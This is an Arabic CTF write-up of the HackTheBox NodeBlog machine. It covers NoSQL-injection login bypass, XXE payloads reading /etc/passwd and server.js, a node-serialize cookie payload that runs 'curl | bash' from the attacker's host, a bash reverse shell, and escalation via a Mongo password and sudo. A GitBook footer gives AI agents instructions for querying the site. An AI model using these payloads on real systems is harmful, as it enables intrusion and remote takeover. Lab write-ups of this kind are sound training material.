> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md).

# شرح NodeBlog HackTheBox

{% embed url="<https://app.hackthebox.com/machines/NodeBlog>" %}

{% hint style="warning" %}
**المهارات:**

* حقن NoSQL (تجاوز المصادقة)
* قراءة ملف عبر XXE
* هجوم إلغاء تسلسل NodeJS (استغلال IIFE)
* استطلاع قاعدة بيانات Mongo
  {% endhint %}

## الاستطلاع

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/195ddae17182eabe6ef845afdc24fe6db83917f2" alt=""><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.139
```

<figure><img src="/files/d77c952b2b4d6c562edb450af083ad4a5c13bdb3" alt=""><figcaption></figcaption></figure>

فحص إصدار المنافذ باستخدام Nmap 22.5000

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p22,5000 10.10.11.139 -oN targeted
```

<figure><img src="/files/09dcfd3c2f843437343c03aa40c43a137a94e4f5" alt=""><figcaption></figcaption></figure>

### تحليل المنفذ 5000 - تطبيق NodeJS

<figure><img src="/files/c7b415ab9a484b6da5a31a436e51285926b026ba" alt=""><figcaption></figcaption></figure>

* تم اكتشاف لوحة إدارة.
* الـ `admin` المستخدم صالح.

<figure><img src="/files/4c3074011294f8da1635704d62b7239e3cefdc97" alt=""><figcaption></figcaption></figure>

## ثغرة حقن NoSQL (تجاوز المصادقة)

اعتراض الطلب باستخدام Burp Suite.

<figure><img src="/files/7dbd2b6a84884e5b71fdfc40e9657f6c094c08a4" alt=""><figcaption></figcaption></figure>

اختبر حمولات الحقن الكلاسيكية:

```bash
username=admin&password[$ne]=toto
```

هذا لا يعمل.

حوّل إلى JSON وغيّر `Content-Type` إلى `application/json`:

```sql
{
  "user": "admin",
  "password": { "$ne": null }
}
```

النتيجة: تمت المصادقة بنجاح!

<figure><img src="/files/57ab04c07c43c6f05611e66f5245c758f84d56c2" alt=""><figcaption></figcaption></figure>

## استغلال ثغرة حقن XXE

<figure><img src="/files/d86232b82fd438bd3d927b84c596da7f60410019" alt=""><figcaption></figcaption></figure>

رفع ملف TXT: مرفوض، لا تُقبل إلا ملفات XML.

```
مرحبًا، هذا اختبار
```

<figure><img src="/files/864aa815b1158c2dee0964505344a48b9b8e9906" alt=""><figcaption></figcaption></figure>

الصيغة المطلوبة:

```xml
<post>
    <title>منشور مثال</title>
    <description>وصف مثال</description>
    <markdown>ماركداون مثال</markdown>
</post>
```

<figure><img src="/files/a7f5108af420cbaeb7f3214371f488abc082d590" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1cf45276d826c4db3c675fa5a24dbe519d84ab95" alt=""><figcaption></figcaption></figure>

إرسال ملف XML يحتوي على كيان خارجي لقراءة `/etc/passwd`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<post>
    <title>منشور مثال</title>
    <description>وصف مثال</description>
    <markdown>&xxe;</markdown>
</post>
```

النتيجة: يتم عرض محتويات `/etc/passwd` .

<figure><img src="/files/20f04ee43c4326a31b6259a4c530a0a151d8e976" alt=""><figcaption></figcaption></figure>

* اكتشاف مستخدم `admin`.

<figure><img src="/files/b6dec0723e1bfbec6ee1e1a5d8ccf7bf54c7b924" alt=""><figcaption></figcaption></figure>

حقن لقراءة `/opt/blog/server.js` وتحديد بيانات الاعتماد المخزنة.

<figure><img src="/files/637fa4df3753b66731f043a948d7e8be1b7903ec" alt=""><figcaption></figcaption></figure>

```bash
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///opt/blog/server.js" >]>
<post>
    <title>منشور مثال</title>
    <description>وصف مثال</description>
    <markdown>&xxe;</markdown>
</post>
```

<figure><img src="/files/50c381bd81800b5f2ff5fc828f9b24e0a12d3cef" alt=""><figcaption></figcaption></figure>

## الاستفادة من إلغاء التسلسل في NodeJS

* تم اكتشاف دالة تُجري إلغاء تسلسل لملفات تعريف الارتباط الخاصة بالجلسة.

<div data-full-width="true"><figure><img src="/files/1dd60d2b016bfb27b055a3c7c721e5f4998b36b7" alt=""><figcaption></figcaption></figure></div>

إنشاء حمولة:

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 1 10.10.14.61', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```

{% endcode %}

الاستماع إلى حركة ICMP باستخدام:

```bash
tcpdump -i tun0 icmp -n
```

* ترميز URL:

<figure><img src="/files/9f1b0c3abc58998efdd55e98d63e0df007ebe7dd" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%70%69%6e%67%20%2d%63%20%31%20%31%30%2e%31%30%2e%31%34%2e%32%38%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```

{% endcode %}

بناء تنفيذ أوامر عن بُعد (RCE) عبر ترميز URL وحقنه في ملفات تعريف الارتباط.

<figure><img src="/files/c6cbc80ddf2f936de1fcb11826b5ac84bdbb0b3c" alt=""><figcaption></figcaption></figure>

```bash
tcpdump -i tun0 icmp -n
```

<figure><img src="/files/aa90d74af6923c63d12c4d928a65dd090a2d3893" alt=""><figcaption></figcaption></figure>

### RCE - ثغرة إلغاء التسلسل (nodejs)

إنشاء `index.html` سكربت شل عكسي:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.61/443 0>&1
```

بدء خادم HTTP:

```bash
python3 -m http.server 80
```

الاستماع:

```bash
nc -nlvp 443
```

#### إرسال الحمولة:

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://10.10.14.61 | bash', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```

{% endcode %}

* ترميز URL:

{% code overflow="wrap" %}

```
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%34%2e%36%31%20%7c%20%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```

{% endcode %}

النتيجة: تم الحصول على وصول إلى الشل.

<figure><img src="/files/65fa151d1700ace6b3ee84117e4df6f9bc73bcfe" alt=""><figcaption></figcaption></figure>

### الراية user.txt :)

<figure><img src="/files/51577c9e24f8c107e720ad1e31979d9713eb9a7c" alt="" width="563"><figcaption></figcaption></figure>

## تصعيد الامتيازات

### استطلاع قاعدة بيانات Mongo

<figure><img src="/files/acc55c7b5496773c1c0a8b43495ded69bd418a71" alt=""><figcaption></figcaption></figure>

الاتصال بقاعدة بيانات MongoDB (المنفذ 27017 مفتوح):

```bash
mongo
عرض قواعد البيانات
استخدم blog
عرض الجداول
db.users.find()
```

<figure><img src="/files/06d3297db07225903b4145b9a24f3f5e87b95cbf" alt="" width="563"><figcaption></figcaption></figure>

* المستخدم: admin
* password : IppsecSaysPleaseSubscribe

<figure><img src="/files/2945ba341358bc95ade7070a6a4dc55b2c02ae2c" alt=""><figcaption></figcaption></figure>

### Sudo (ALL:ALL)

التحقق من امتيازات sudo:

```bash
sudo -l
```

النتيجة: يمكن للمستخدم admin تشغيل `sudo su` بدون كلمة مرور.

<figure><img src="/files/03ceea8b41e23ed30eb2957229ea215f4a65b64e" alt=""><figcaption></figcaption></figure>

الانتقال إلى root :

```bash
sudo su
```

<figure><img src="/files/39f93fd02d748f7a790dde303b20d8daee9ce9da" alt="" width="563"><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/0971128849985779afffb30e0d8befe34a595185" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/d965567a86a8ca6c93577dd6a30776ce3cc8d192" alt="" width="338"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
